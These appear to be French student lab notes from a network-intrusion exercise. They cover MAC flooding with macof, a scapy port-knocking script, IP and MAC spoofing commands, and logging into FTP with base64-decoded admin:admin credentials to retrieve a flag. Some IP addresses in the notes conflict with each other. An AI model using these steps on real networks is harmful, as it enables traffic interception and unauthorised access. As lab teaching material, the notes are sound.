Notes - TP3

Pour commencer, on flood la table ARP du switch pour pouvoir récupère le trafic qui passe. Pour cela on utilise `macof` pendant quelques secondes. Ainsi, le switch devient une sorte de hub.

Ensuite, avec tcpdump, on constate un série de requête SYN sur des ports définis : 951, 951, 4826, 443, 100, 21 vers 10.8.0.6. C'est un port knocking.

On va simuler la même séquence avec notre ip pour voir quel service va s'ouvrir. Pour cela, on utilise ce script :

```
# Use scapy for port knocking

from scapy.all import *

# Define the target IP
target = "10.5.0.6"

# Define the ports to knock
ports = [951, 951, 4826, 443, 100, 21]

# Send the SYN packet
for port in ports:
    send(IP(dst=target)/TCP(dport=port, flags="S"))
    print("Sent SYN packet to port " + str(port))
```

Après avoir effectué la séquence de port knocking on constate que le port 25 (smtp) de 10.8.0.6 est maintenant ouvert.

Avec telnet, en se connectant sur le port serveur smtp de 10.8.0.6, en exécutant la commande HELO, on reçoit ce message :

```
HELO
250-Welcome - smtp02 - Secondary SMTP Server
250 Primary server at 10.1.8.6
250 YWRtaW46YWRtaW4K
```

Il y a sans doute une relation de confiance entre la 10.8.0.6 et la 10.5.0.6. On va donc prendre l'ip 10.5.0.6 pour voir ce qui se passe :

```
ip addr add 10.1.8.6/24 dev tap0
```

Une fois qu'on a obtenu l'adresse ip, on constate un flux ftp avec tcpdump entre 10.1.8.6 et 10.5.0.6.

On prend l'addresse mac de 10.5.0.6 :

```
sudo ip link set dev tap0 address 12:67:7e:b7:6d:06
```

Ensuite, on peut se connecter au serveur ftp de 10.1.8.6 avec telnet.

Les credentials ont été données dans le serveur SMTP : YWRtaW46YWRtaW4K. Ce qui en base64 signifie admin:admin.

Ensuite, le fichier contient :

```
  Version 2022.1.0

         Felicitation, vous avez reussi à trouver le fichier cache.
         Vous pouvez m'envoyer par email la somme de controle de type SHA256 de ce
fichier :).
```

Le sha256 : 3a3add5d7232195242078745747 0f5489e2182e93aeb2854b14f59af96b4536a